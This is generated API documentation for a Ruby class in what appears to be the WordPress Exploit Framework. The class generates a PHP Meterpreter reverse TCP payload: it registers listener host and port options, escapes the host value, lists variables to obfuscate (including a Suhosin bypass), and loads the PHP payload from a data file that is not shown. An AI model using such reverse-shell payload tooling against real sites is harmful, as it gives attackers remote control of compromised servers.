class Wpxf::Payloads::MeterpreterReverseTcp
A Meterpreter reverse TCP payload generator.
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::Options::new
# File lib/wpxf/payloads/meterpreter_reverse_tcp.rb, line 9 def initialize super register_options([ StringOption.new( name: 'lhost', required: true, desc: 'The address of the host listening for a connection' ), PortOption.new( name: 'lport', required: true, default: 4444, desc: 'The port being used to listen for incoming connections' ) ]) end
Public Instance Methods
constants()
click to toggle source
# File lib/wpxf/payloads/meterpreter_reverse_tcp.rb, line 39 def constants { 'ip' => host, 'port' => lport } end
host()
click to toggle source
# File lib/wpxf/payloads/meterpreter_reverse_tcp.rb, line 27 def host escape_single_quotes(datastore['lhost']) end
lport()
click to toggle source
# File lib/wpxf/payloads/meterpreter_reverse_tcp.rb, line 31 def lport normalized_option_value('lport') end
obfuscated_variables()
click to toggle source
Calls superclass method
Wpxf::Payload#obfuscated_variables
# File lib/wpxf/payloads/meterpreter_reverse_tcp.rb, line 46 def obfuscated_variables super + %w[ip port f s_type s res len a b suhosin_bypass] end
raw()
click to toggle source
# File lib/wpxf/payloads/meterpreter_reverse_tcp.rb, line 35 def raw DataFile.new('php', 'meterpreter_reverse_tcp.php').php_content end